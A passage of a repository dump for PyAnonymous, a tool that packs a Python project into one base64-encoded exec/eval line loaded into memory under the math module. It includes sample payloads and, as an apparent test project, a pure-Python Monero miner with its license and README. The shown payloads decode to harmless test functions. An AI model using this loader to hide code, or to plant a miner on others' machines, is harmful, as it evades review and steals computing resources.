bJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Nyc6IFsnQ21sdGNHOXlkQ0J0WVhSb0NtbHRjRzl5ZENCMFpYTjBPQXBtY205dElIUmxjM1F4TWlCcGJYQnZjblFnZEdWemREUUtDbU5zWVhOeklIUmxjM1EzWDJOc1lYTnpLQ2s2Q2lBZ0lDQmtaV1lnWDE5cGJtbDBYMThvYzJWc1ppd2dZU2s2Q2lBZ0lDQWdJQ0FnYzJWc1ppNWhJRDBnWVFvS0lDQWdJR1JsWmlCblpYUlNaWE1vYzJWc1ppazZDaUFnSUNBZ0lDQWdjbVYwZFhKdUlITmxiR1l1WVNBcUlESWdLeUIwWlhOME9DNTBaWE4wT0NncElDc2dkR1Z6ZERRdWRHVnpkRFFvS1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDgnOiBbJ0NtUmxaaUIwWlhOME9DZ3BPZ29nSUNBZ2NtVjBkWEp1SURJdycsIHt9XX1dfV0sICd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV19XX1dfQ==').decode()), __import__("math").__dict__)) 79 | __main__:4: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses 80 | 'NoneNone' 81 | >>> 82 | ``` 83 | 84 | 4. 最后验证是否成功导入. 在运行Payload后,项目入口文件 test_main.py 作为模块被注入至 math 模块中即: math.test_main. 85 | 86 | 先导入math包,输入以下代码调用入口点下的入口函数main. 87 | ```py 88 | >>> import math 89 | >>> math.test_main.main() 90 | 409 91 | ``` 92 | 成功输出409,证明test项目入口连同整个项目被成功加载至math命名空间中 -------------------------------------------------------------------------------- /使用例子/示例test.py: -------------------------------------------------------------------------------- 1 | str(exec(__import__('base64').b64decode('CmRlZiBzdXJmYWNlX1p6UlRTb0RFKG0sIG4pOgogICAgZGVmIGRlZXBfWnpSVFNvREUobW4sIGMsIGQpOgogICAgICAgIGE9X19pbXBvcnRfXygnaW1wJykubmV3X21vZHVsZShtbikKICAgICAgICBmb3IgZDEgaW4gZDoKICAgICAgICAgICAgYS5fX2RpY3RfX1tkMV09ZGVlcF9aelJUU29ERShkMSwgZFtkMV1bMF0sIGRbZDFdWzFdKQogICAgICAgICAgICBfX2ltcG9ydF9fKCdzeXMnKS5tb2R1bGVzW2QxXSA9IGEuX19kaWN0X19bZDFdCiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoYyksIGEuX19kaWN0X18pCiAgICAgICAgcmV0dXJuIGEKICAgIGZvciBpIGluIG06bltpXT1kZWVwX1p6UlRTb0RFKGksIG1baV1bMF0sIG1baV1bMV0pCg==').decode()))+str(surface_ZzRTSoDE(eval(__import__('base64').b64decode('eyd0ZXN0X21haW4nOiBbJ0NtbHRjRzl5ZENCMFpYTjBNZ29LWkdWbUlHMWhhVzRvS1RvS0lDQWdJSEpsZEhWeWJpQjBaWE4wTWk1MFpYTjBNaWdwSUNzZ01Rbz0nLCB7J3Rlc3QyJzogWydJMlJsY0NCMFpYTjBNd29LWm5KdmJTQjBaWE4wTVRJZ2FXMXdiM0owSUhSbGMzUTJDbVp5YjIwZ2RHVnpkREV5SUdsdGNHOXlkQ0IwWlhOME5Bb0taR1ZtSUhSbGMzUXlLQ2s2Q2lBZ0lDQnlaWFIxY200Z1gxOXBiWEJ2Y25SZlh5Z25kR1Z6ZERNbktTNTBaWE4wTXlncElDc2dYMTlwYlhCdmNuUmZYeWduZEdWemRETW5LUzUyWVhJZ0t5QjBaWE4wTmk1MFpYTjBOaWd5S1NBZ0t5QjBaWE4wTkM1MFpYTjBOQ2dwJywgeyd0ZXN0MTInOiBbJycsIHsndGVzdDQnOiBbJ0NtUmxaaUIwWlhOME5DZ3BPZ29nSUNBZ2NtVjBkWEp1SURRPScsIHt9XSwgJ3Rlc3Q2JzogWydDbVJsWmlCMFpYTjBOaWgyWVhJeEtUb0tJQ0FnSUhKbGRIVnliaUF4TUNBcUlIWmhjakU9Jywge31dfV0sICd0ZXN0Myc6IFsnQ21aeWIyMGdkR1Z6ZERjZ2FXMXdiM0owSUhSbGMzUTNYMk5zWVhOekNtbHRjRzl5ZENCdmN3cG1jbTl0SUhSbGMzUXhNaUJwYlhCdmNuUWdkR1Z6ZERZS0NuWmhjaUE5SURJS0NtUmxaaUIwWlhOME15Z3BPZ29nSUNBZ1lpQTlJSFJsYzNRM1gyTnNZWE56S0RFcENpQWdJQ0J5WlhSMWNtNGdNU0FySUdJdVoyVjBVbVZ6S0NrZ0t5QjBaWE4wTmk1MFpYTjBOaWd5S1E9PScsIHsndGVzdDEyJzogWycnLCB7J3Rlc3Q0JzogWydDbVJsWmlCMFpYTjBOQ2dwT2dvZ0lDQWdjbVYwZFhKdUlEUT0nLCB7fV0sICd0ZXN0Nic6IFsnQ21SbFppQjBaWE4wTmloMllYSXhLVG9LSUNBZ0lISmxkSFZ5YmlBeE1DQXFJSFpoY2pFPScsIHt9XX1dLCAndGVzdDcnOiBbJ0NtbHRjRzl5ZENCdFlYUm9DbWx0Y0c5eWRDQjBaWE4wT0FwbWNtOXRJSFJsYzNReE1pQnBiWEJ2Y25RZ2RHVnpkRFFLQ21Oc1lYTnpJSFJsYzNRM1gyTnNZWE56S0NrNkNpQWdJQ0JrWldZZ1gxOXBibWwwWDE4b2MyVnNaaXdnWVNrNkNpQWdJQ0FnSUNBZ2MyVnNaaTVoSUQwZ1lRb0tJQ0FnSUdSbFppQm5aWFJTWlhNb2MyVnNaaWs2Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJSE5sYkdZdVlTQXFJRElnS3lCMFpYTjBPQzUwWlhOME9DZ3BJQ3NnZEdWemREUXVkR1Z6ZERRb0tRPT0nLCB7J3Rlc3QxMic6IFsnJywgeyd0ZXN0NCc6IFsnQ21SbFppQjBaWE4wTkNncE9nb2dJQ0FnY21WMGRYSnVJRFE9Jywge31dLCAndGVzdDYnOiBbJ0NtUmxaaUIwWlhOME5paDJZWEl4S1RvS0lDQWdJSEpsZEhWeWJpQXhNQ0FxSUhaaGNqRT0nLCB7fV19XSwgJ3Rlc3Q4JzogWydabkp2YlNCMFpYTjBNelFnYVcxd2IzSjBJSFJsYzNRek5ERUtDbVJsWmlCMFpYTjBPQ2dwT2dvZ0lDQWdjbVYwZFhKdUlESXdJQ3NnZEdWemRETTBNUzUwWlhOME16UXhLQ2s9Jywgeyd0ZXN0MzQnOiBbJycsIHsndGVzdDM0MSc6IFsnQ21SbFppQjBaWE4wTXpReEtDazZDaUFnSUNCeVpYUjFjbTRnTVE9PScsIHt9XSwgJ19faW5pdF9fJzogWycnLCB7fV19XX1dfV19XX1dfV19').decode()), __import__("math").__dict__)) 2 | 3 | import math 4 | print(math.test_main.main()) -------------------------------------------------------------------------------- /图片/SSH命令执行2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/SSH命令执行2.png -------------------------------------------------------------------------------- /图片/pic1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/pic1.png -------------------------------------------------------------------------------- /图片/pic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Leeyangee/PyAnonymous/451959e84607f90191a97c2ea2289623144a17d7/图片/pic2.png -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/.gitignore: -------------------------------------------------------------------------------- 1 | .vs/ 2 | __pycache__/ 3 | cryptonight_lib/project/ 4 | CMakeCache/ 5 | CMakeCache.txt 6 | CMakeFiles/ 7 | CMakeFiles/ 8 | *.cmake 9 | *.log 10 | *.bat 11 | .idea/ 12 | config.json 13 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/Cryptonight.py: -------------------------------------------------------------------------------- 1 | import binascii # TODO: move outside ? 2 | 3 | from Job import Job 4 | from crypto_primitives.slow_hash_lgplv3 import slow_hash_glue_func 5 | 6 | 7 | c_pow = slow_hash_glue_func 8 | 9 | 10 | # TODO: move into other file if another implementation is done 11 | # Subscription state 12 | class Subscription(object): 13 | """Encapsulates the Subscription state from the JSON-RPC2 server""" 14 | 15 | def __init__(self): 16 | self._id = None 17 | # self._difficulty = None 18 | # self._target = None 19 | self._worker_name = None 20 | self._mining_thread = None 21 | 22 | # Subclasses should override this 23 | def ProofOfWork(self, header): 24 | raise Exception('Do not use the Subscription class directly, subclass it') 25 | 26 | class StateException(Exception): 27 | pass 28 | 29 | @property 30 | def id(self): 31 | return self._id 32 | 33 | @property 34 | def worker_name(self): 35 | return self._worker_name 36 | 37 | # @property 38 | # def difficulty(self): return self._difficulty 39 | # @property 40 | # def target(self): return self._target 41 | 42 | def set_worker_name(self, worker_name): 43 | if self._worker_name: 44 | raise self.StateException('Already authenticated as %r (requesting %r)' % (self._username, username)) 45 | self._worker_name = worker_name 46 | 47 | def set_subscription(self, subscription_id): 48 | if self._id is not None: 49 | raise self.StateException('Already subscribed') 50 | self._id = subscription_id 51 | 52 | def create_job(self, job_id, blob, target): 53 | """Creates a new Job object populated with all the goodness it needs to mine""" 54 | 55 | if self._id is None: 56 | raise self.StateException('Not subscribed') 57 | 58 | return Job( 59 | subscription_id=self.id, 60 | job_id=job_id, 61 | blob=blob, 62 | target=target, 63 | proof_of_work=self.ProofOfWork 64 | ) 65 | 66 | def __str__(self): 67 | return ''.format(self.id, self.worker_name) 68 | 69 | 70 | class SubscriptionCryptonight(Subscription): 71 | """Subscription for Cryptonight-based coins, like XMR (Monero)""" 72 | 73 | # overriden method 74 | def ProofOfWork(self, header): 75 | def cryptonight_proof_of_work(x): 76 | output = [None for k in range(32)] # create a buffer (list type) 77 | intli_form_data = list(x) 78 | c_pow(output, intli_form_data, 76) # 76 is the input buffer len 79 | binstr_form_output = bytes(output) 80 | outputhex = binascii.hexlify(binstr_form_output).decode() # TODO: move outside? 81 | return outputhex 82 | 83 | return cryptonight_proof_of_work(header) 84 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/Job.py: -------------------------------------------------------------------------------- 1 | import time, struct, binascii, array 2 | 3 | 4 | class Job(object): 5 | """Job from pool""" 6 | 7 | def __init__(self, subscription_id, job_id, blob, target, proof_of_work): 8 | 9 | # From job 10 | self._subscription_id = subscription_id 11 | self._job_id = job_id 12 | self._blob = blob 13 | self._target = target 14 | 15 | # PoW algorithm 16 | self._proof_of_work = proof_of_work 17 | 18 | # Flag to stop this job's mine coroutine 19 | self._done = False 20 | 21 | # Hash metrics (start time, delta time, total hashes) 22 | self._dt = 0.0 23 | self._hash_count = 0 24 | 25 | @property 26 | def job_id(self): 27 | return self._job_id 28 | 29 | @property 30 | def blob(self): 31 | return self._blob 32 | 33 | @property 34 | def target(self): 35 | return self._target 36 | 37 | @property 38 | def pow(self): 39 | return self._proof_of_work 40 | 41 | @property 42 | def hashrate(self): 43 | return self._hash_count / self._dt if self._dt > 0 else 0.0 44 | 45 | def stop(self): 46 | """Requests the mine coroutine stop after its current iteration""" 47 | self._done = True 48 | 49 | def mine(self, nonce_start=0, nonce_stride=13): 50 | t0 = time.time() 51 | 52 | blob_bin = binascii.unhexlify(self.blob) 53 | for nonce in range(nonce_start, 0x7fffffff, nonce_stride): 54 | if self._done: 55 | self._dt = time.time() - t0 56 | raise StopIteration() 57 | 58 | # PoW attempt 59 | nonce_bin = struct.pack('>I', nonce) 60 | data = blob_bin[:39] + nonce_bin + blob_bin[39 + len(nonce_bin):] 61 | pow = self.pow(data) 62 | 63 | tar = pow[-len(self.target):] 64 | tar = "".join([tar[i:i + 2] for i in range(0, len(tar), 2)][::-1]) 65 | 66 | if tar <= self.target: 67 | result = {"id": self._subscription_id, "job_id": self._job_id, "nonce": "{0:0{1}x}".format(nonce, 8), 68 | "result": pow} 69 | self._dt = time.time() - t0 70 | yield result 71 | self._hash_count += 1 72 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/JsonRpc2Client.py: -------------------------------------------------------------------------------- 1 | import threading, json, sys 2 | from Utils import * 3 | 4 | class JsonRpc2Client(object): 5 | """Simple Json RPC Client""" 6 | 7 | class ClientException(Exception): pass 8 | 9 | class RequestReplyException(Exception): 10 | def __init__(self, message, reply, request = None): 11 | Exception.__init__(self, message) 12 | self._reply = reply 13 | self._request = request 14 | self.message = message 15 | 16 | @property 17 | def request(self): return self._request 18 | @property 19 | def reply(self): return self._reply 20 | 21 | 22 | class RequestReplyWarning(RequestReplyException): 23 | '''Sub-classes can raise this to inform the user of JSON-RPC server issues.''' 24 | pass 25 | 26 | 27 | def __init__(self): 28 | self._socket = None 29 | self._lock = threading.RLock() 30 | self._rpc_thread = None 31 | self._message_id = 1 32 | self._requests = {} 33 | 34 | 35 | def _handle_incoming_rpc(self): 36 | data = "" 37 | while True: 38 | if '\n' in data: 39 | line, data = data.split('\n', 1) 40 | else: 41 | data += self._socket.recv(1024).decode() 42 | continue 43 | 44 | log('JSON-RPC Server > ' + line, LEVEL_PROTOCOL) 45 | 46 | try: 47 | reply = json.loads(line) 48 | except Exception as e: 49 | log("JSON-RPC Error: Failed to parse JSON %r (skipping)" % line, LEVEL_ERROR) 50 | 51 | try: 52 | request = None 53 | with self._lock: 54 | if 'id' in reply and reply['id'] in self._requests: 55 | request = self._requests[reply['id']] 56 | self.handle_reply(request, reply) 57 | except self.RequestReplyWarning as e: 58 | output = e.message 59 | if e.request: 60 | output += '\n ' + str(e.request) 61 | output += '\n ' + str(e.reply) 62 | log(output, LEVEL_ERROR) 63 | 64 | 65 | def handle_reply(self, request, reply): 66 | raise self.RequestReplyWarning('Override this method') 67 | 68 | 69 | def send(self, method, params): 70 | if not self._socket: 71 | raise Exception("Not connected") 72 | 73 | request = {"id": self._message_id, "method": method, "params": params} 74 | msg = json.dumps(request) 75 | log("Send request {}: {}".format(self._message_id, msg), LEVEL_DEBUG) 76 | with self._lock: 77 | self._requests[self._message_id] = request 78 | self._message_id += 1 79 | self._socket.send((msg + '\n').encode()) 80 | 81 | 82 | def connect(self, socket): 83 | if self._rpc_thread: 84 | raise Exception("Already connected") 85 | 86 | self._socket = socket 87 | self._rpc_thread = threading.Thread(target=self._handle_incoming_rpc) 88 | self._rpc_thread.daemon = True 89 | self._rpc_thread.start() 90 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/LICENSE: -------------------------------------------------------------------------------- 1 | Software License is MIT + LGPL-v3 2 | 3 | ReadableCryptoMiner source-code authors are: 4 | - Thomas Eder 5 | - Guillaume George 6 | - Patrick Lundin 7 | 8 | Parts of the software distributed under the terms of the LGPL-v3 are: 9 | - all files belonging to the crypto_primitives module 10 | - contents of the pow_algorithms.Cryptonight.do_proof_of_work(...) method 11 | 12 | 13 | === MIT License === 14 | 15 | Copyright (c) 2018 Guillaume George, Thomas Iwaszko 16 | 17 | Permission is hereby granted, free of charge, to any person obtaining a copy 18 | of this software and associated documentation files (the "Software"), to deal 19 | in the Software without restriction, including without limitation the rights 20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 21 | copies of the Software, and to permit persons to whom the Software is 22 | furnished to do so, subject to the following conditions: 23 | 24 | The above copyright notice and this permission notice shall be included in all 25 | copies or substantial portions of the Software. 26 | 27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 33 | SOFTWARE. 34 | 35 | 36 | === GNU LGPL-v3 === 37 | 38 | GNU LESSER GENERAL PUBLIC LICENSE 39 | Version 3, 29 June 2007 40 | 41 | Copyright (C) 2007 Free Software Foundation, Inc. 42 | Everyone is permitted to copy and distribute verbatim copies 43 | of this license document, but changing it is not allowed. 44 | 45 | 46 | This version of the GNU Lesser General Public License incorporates 47 | the terms and conditions of version 3 of the GNU General Public 48 | License, supplemented by the additional permissions listed below. 49 | 50 | 0. Additional Definitions. 51 | 52 | As used herein, "this License" refers to version 3 of the GNU Lesser 53 | General Public License, and the "GNU GPL" refers to version 3 of the GNU 54 | General Public License. 55 | 56 | "The Library" refers to a covered work governed by this License, 57 | other than an Application or a Combined Work as defined below. 58 | 59 | An "Application" is any work that makes use of an interface provided 60 | by the Library, but which is not otherwise based on the Library. 61 | Defining a subclass of a class defined by the Library is deemed a mode 62 | of using an interface provided by the Library. 63 | 64 | A "Combined Work" is a work produced by combining or linking an 65 | Application with the Library. The particular version of the Library 66 | with which the Combined Work was made is also called the "Linked 67 | Version". 68 | 69 | The "Minimal Corresponding Source" for a Combined Work means the 70 | Corresponding Source for the Combined Work, excluding any source code 71 | for portions of the Combined Work that, considered in isolation, are 72 | based on the Application, and not on the Linked Version. 73 | 74 | The "Corresponding Application Code" for a Combined Work means the 75 | object code and/or source code for the Application, including any data 76 | and utility programs needed for reproducing the Combined Work from the 77 | Application, but excluding the System Libraries of the Combined Work. 78 | 79 | 1. Exception to Section 3 of the GNU GPL. 80 | 81 | You may convey a covered work under sections 3 and 4 of this License 82 | without being bound by section 3 of the GNU GPL. 83 | 84 | 2. Conveying Modified Versions. 85 | 86 | If you modify a copy of the Library, and, in your modifications, a 87 | facility refers to a function or data to be supplied by an Application 88 | that uses the facility (other than as an argument passed when the 89 | facility is invoked), then you may convey a copy of the modified 90 | version: 91 | 92 | a) under this License, provided that you make a good faith effort to 93 | ensure that, in the event an Application does not supply the 94 | function or data, the facility still operates, and performs 95 | whatever part of its purpose remains meaningful, or 96 | 97 | b) under the GNU GPL, with none of the additional permissions of 98 | this License applicable to that copy. 99 | 100 | 3. Object Code Incorporating Material from Library Header Files. 101 | 102 | The object code form of an Application may incorporate material from 103 | a header file that is part of the Library. You may convey such object 104 | code under terms of your choice, provided that, if the incorporated 105 | material is not limited to numerical parameters, data structure 106 | layouts and accessors, or small macros, inline functions and templates 107 | (ten or fewer lines in length), you do both of the following: 108 | 109 | a) Give prominent notice with each copy of the object code that the 110 | Library is used in it and that the Library and its use are 111 | covered by this License. 112 | 113 | b) Accompany the object code with a copy of the GNU GPL and this license 114 | document. 115 | 116 | 4. Combined Works. 117 | 118 | You may convey a Combined Work under terms of your choice that, 119 | taken together, effectively do not restrict modification of the 120 | portions of the Library contained in the Combined Work and reverse 121 | engineering for debugging such modifications, if you also do each of 122 | the following: 123 | 124 | a) Give prominent notice with each copy of the Combined Work that 125 | the Library is used in it and that the Library and its use are 126 | covered by this License. 127 | 128 | b) Accompany the Combined Work with a copy of the GNU GPL and this license 129 | document. 130 | 131 | c) For a Combined Work that displays copyright notices during 132 | execution, include the copyright notice for the Library among 133 | these notices, as well as a reference directing the user to the 134 | copies of the GNU GPL and this license document. 135 | 136 | d) Do one of the following: 137 | 138 | 0) Convey the Minimal Corresponding Source under the terms of this 139 | License, and the Corresponding Application Code in a form 140 | suitable for, and under terms that permit, the user to 141 | recombine or relink the Application with a modified version of 142 | the Linked Version to produce a modified Combined Work, in the 143 | manner specified by section 6 of the GNU GPL for conveying 144 | Corresponding Source. 145 | 146 | 1) Use a suitable shared library mechanism for linking with the 147 | Library. A suitable mechanism is one that (a) uses at run time 148 | a copy of the Library already present on the user's computer 149 | system, and (b) will operate properly with a modified version 150 | of the Library that is interface-compatible with the Linked 151 | Version. 152 | 153 | e) Provide Installation Information, but only if you would otherwise 154 | be required to provide such information under section 6 of the 155 | GNU GPL, and only to the extent that such information is 156 | necessary to install and execute a modified version of the 157 | Combined Work produced by recombining or relinking the 158 | Application with a modified version of the Linked Version. (If 159 | you use option 4d0, the Installation Information must accompany 160 | the Minimal Corresponding Source and Corresponding Application 161 | Code. If you use option 4d1, you must provide the Installation 162 | Information in the manner specified by section 6 of the GNU GPL 163 | for conveying Corresponding Source.) 164 | 165 | 5. Combined Libraries. 166 | 167 | You may place library facilities that are a work based on the 168 | Library side by side in a single library together with other library 169 | facilities that are not Applications and are not covered by this 170 | License, and convey such a combined library under terms of your 171 | choice, if you do both of the following: 172 | 173 | a) Accompany the combined library with a copy of the same work based 174 | on the Library, uncombined with any other library facilities, 175 | conveyed under the terms of this License. 176 | 177 | b) Give prominent notice with the combined library that part of it 178 | is a work based on the Library, and explaining where to find the 179 | accompanying uncombined form of the same work. 180 | 181 | 6. Revised Versions of the GNU Lesser General Public License. 182 | 183 | The Free Software Foundation may publish revised and/or new versions 184 | of the GNU Lesser General Public License from time to time. Such new 185 | versions will be similar in spirit to the present version, but may 186 | differ in detail to address new problems or concerns. 187 | 188 | Each version is given a distinguishing version number. If the 189 | Library as you received it specifies that a certain numbered version 190 | of the GNU Lesser General Public License "or any later version" 191 | applies to it, you have the option of following the terms and 192 | conditions either of that published version or of any later version 193 | published by the Free Software Foundation. If the Library as you 194 | received it does not specify a version number of the GNU Lesser 195 | General Public License, you may choose any version of the GNU Lesser 196 | General Public License ever published by the Free Software Foundation. 197 | 198 | If the Library as you received it specifies that a proxy can decide 199 | whether future versions of the GNU Lesser General Public License shall 200 | apply, that proxy's public statement of acceptance of any version is 201 | permanent authorization for you to choose that version for the 202 | Library. 203 | 204 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/Miner.py: -------------------------------------------------------------------------------- 1 | import math 2 | import socket 3 | import threading 4 | from Cryptonight import SubscriptionCryptonight 5 | from JsonRpc2Client import * 6 | import defs 7 | 8 | 9 | SubscriptionByAlgorithm = { 10 | "cryptonight": SubscriptionCryptonight, 11 | } 12 | 13 | 14 | class Miner(JsonRpc2Client): 15 | """Simple mining client""" 16 | 17 | class MinerWarning(JsonRpc2Client.RequestReplyWarning): 18 | def __init__(self, message, reply, request=None): 19 | JsonRpc2Client.RequestReplyWarning.__init__(self, 'Mining Sate Error: ' + message, reply, request) 20 | 21 | class MinerAuthenticationException(JsonRpc2Client.RequestReplyException): 22 | pass 23 | 24 | def __init__(self, url, username, password, algorithm, nb_threads): 25 | JsonRpc2Client.__init__(self) 26 | self._url = url 27 | self._username = username 28 | self._password = password 29 | self.nb_threads = nb_threads 30 | self._subscription = SubscriptionByAlgorithm[algorithm]() 31 | self._job = None 32 | self._submitted_shares = 0 33 | self._accepted_shares = 0 34 | 35 | def handle_reply(self, request, reply): 36 | if reply.get("method") == "job": 37 | self._handle_job(reply) 38 | elif request: 39 | if request.get("method") == "submit": 40 | self._handle_submit(reply, request) 41 | elif request.get("method") == "login": 42 | self._handle_login(reply) 43 | else: 44 | raise Exception("Bad message state - no request", reply) 45 | else: 46 | raise Exception("Unknown message", reply, request) 47 | 48 | def _handle_job_msg(self, job_msg): 49 | blob = job_msg["blob"] 50 | job_id = job_msg["job_id"] 51 | target = job_msg["target"] 52 | target = "".join([target[i:i + 2] for i in range(0, len(target), 2)][::-1]) 53 | difficulty = math.floor((2 ** 32 - 1) / int(target, 16)) 54 | self._spawn_job_thread(job_id, blob, target) 55 | 56 | log("New job: job_id={} - difficulty={}".format(job_id, difficulty), LEVEL_DEBUG) 57 | 58 | @staticmethod 59 | def _testif_job_msg_matches_spec(given_jobmsg): 60 | if "params" not in given_jobmsg: 61 | return False 62 | params = given_jobmsg["params"] 63 | for exp_key in ("blob", "job_id", "target", "height", "seed_hash"): 64 | if exp_key not in params: 65 | return False 66 | return True 67 | 68 | def _handle_job(self, reply): 69 | if not Miner._testif_job_msg_matches_spec(reply): 70 | raise self.MinerWarning("Malformed job message", reply) 71 | self._handle_job_msg(reply["params"]) 72 | 73 | def _handle_submit(self, reply, request): 74 | if "result" not in reply or not reply["result"]: 75 | log("Share - Invalid", LEVEL_INFO) 76 | raise self.MinerWarning("Failed to accept submit", reply, request) 77 | 78 | self._accepted_shares += 1 79 | log("Accepted shares: {} / {}".format(self._accepted_shares, self._submitted_shares), LEVEL_INFO) 80 | 81 | def _login(self): 82 | # TODO: define user agent properly 83 | params = {"login": self._username, "pass": self._password, "agent": defs.AGENT_LABEL} 84 | self.send(method="login", params=params) 85 | 86 | def _handle_login(self, reply): 87 | if "result" not in reply or "id" not in reply["result"]: 88 | raise self.MinerWarning('Reply to login is malformed', reply) 89 | result = reply["result"] 90 | identifier = result["id"] 91 | log("Login success. Subscription ID={}".format(identifier), LEVEL_DEBUG) 92 | self._subscription.set_subscription(identifier) 93 | self._handle_job_msg(result["job"]) 94 | 95 | def _spawn_job_thread(self, job_id, blob, target): 96 | """Stops any previous job and begins a new job.""" 97 | 98 | # Stop the old job (if any) 99 | if self._job: 100 | self._job.stop() 101 | 102 | # Create the new job 103 | self._job = self._subscription.create_job( 104 | job_id=job_id, 105 | blob=blob, 106 | target=target 107 | ) 108 | 109 | def run(job, nonce_start, nonce_stride): 110 | # try: 111 | for result in job.mine(nonce_start=nonce_start, nonce_stride=nonce_stride): 112 | self.send(method="submit", params=result) 113 | self._submitted_shares += 1 114 | log("Found share: " + str(result), LEVEL_DEBUG) 115 | log("Hashrate: {}".format(human_readable_hashrate(job.hashrate)), LEVEL_INFO) 116 | 117 | # except Exception as e: 118 | # log("ERROR: {}".format(e), LEVEL_ERROR) 119 | for n in range(self.nb_threads): 120 | thread = threading.Thread(target=run, args=(self._job, n, self.nb_threads)) 121 | thread.daemon = True 122 | thread.start() 123 | 124 | def serve_forever(self) -> None: 125 | """ 126 | quick 'n' dirty url parsing 127 | The assumed format for field self._url 128 | is: 129 | stratum+tcp://foobar.com:3333 130 | """ 131 | tmp = self._url.split('//')[1] 132 | hostname, port = tmp.split(':') 133 | port = int(port) # type casting 134 | log("Starting server on {}:{}".format(hostname, port), LEVEL_INFO) 135 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 136 | sock.connect((hostname, port)) 137 | self.connect(sock) 138 | self._login() 139 | while True: 140 | time.sleep(10) 141 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ReadableCryptoMiner 3 | 4 | *The project is to write a fully functionnal XMR miner, in pure python 3.* 5 | 6 | Why? Such a Monero CPU miner can be useful for for learning purpose. 7 | 8 | The source-code provided is heavily inspired by: 9 | https://github.com/ricmoo/nightminer/ but I plan to use JSON RPC 2.0 and the 10 | new RandomX algorithm. 11 | 12 | **Warning 1:** 13 | Initially Monero used the so-called CryptoNight PoW algorithm. The project was designed 14 | accordingly. 15 | But (as far as I know) from year 2019, November 30th monero uses the PoW algorithm: 16 | RandomX. 17 | The current miner needs to be patched in order to mine accordingly to the hard fork that 18 | occured. By now (2024, March) this is still a work-in-progress. 19 | 20 | **Warning 2:** 21 | This miner is extremely slow and therefore not suited for mercantile use. 22 | 23 | 24 | 25 | ## Command Line Interface 26 | 27 | ggminer.py [-h] [-a {cryptonight}] [-o URL] [-u USERNAME] [-p PASSWORD] [-t THREAD] [-d DEBUG] 28 | 29 | optional arguments: 30 | -h, --help show this help message and exit 31 | -a, --algo hashing algorithm to use for proof of work {cryptonight} 32 | -o URL, --url URL stratum mining server url (eg: stratum+tcp://foobar.com:3333) 33 | -u USERNAME, --user USERNAME username for mining server 34 | -p PASSWORD, --pass PASSWORD password for mining server 35 | -t THREAD, --thread THREAD number of mining threads to start 36 | -d, --debug show extra debug information 37 | 38 | Example of possible mining pools: 39 | 40 | - Location | Server Host | Stratum Port | SSL/TLS Port 41 | - Europe xmr-eu1.nanopool.org 10300 10343 42 | - Europe xmr-eu2.nanopool.org 10300 10343 43 | - US East xmr-us-east1.nanopool.org 10300 10343 44 | - US West xmr-us-west1.nanopool.org 10300 10343 45 | - Asia xmr-asia1.nanopool.org 10300 10343 46 | - Japan xmr-jp1.nanopool.org 10300 10343 47 | - Australia xmr-au1.nanopool.org 10300 10343 48 | 49 | Using a SSL connection is highly recommended. It's 50 | more safe and stable than stratum. 51 | 52 | ## Dive in head first 53 | 54 | To get started easily you can, for example, use the command line: 55 | ```shell 56 | python ggminer.py --url stratum+tcp://xmr-eu1.nanopool.org:10300 --debug 2 57 | ``` 58 | 59 | ## Structure the config file: 60 | 61 | ```json 62 | { 63 | "wallet": "YOUR_XMR_ADDRESS", 64 | "rigName": "YOUR_WORKER", 65 | "email": "YOUR_EMAIL" 66 | } 67 | ``` 68 | 69 | 70 | ## License 71 | 72 | The code is licensed under MIT + LGPLv3, see LICENSE file for more info. 73 | -------------------------------------------------------------------------------- /测试项目/ReadableCryptoMiner/Utils.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | # from ggminer import * 4 | 5 | 6 | LEVEL_PROTOCOL = 'protocol' 7 | LEVEL_INFO = 'info' 8 | LEVEL_DEBUG 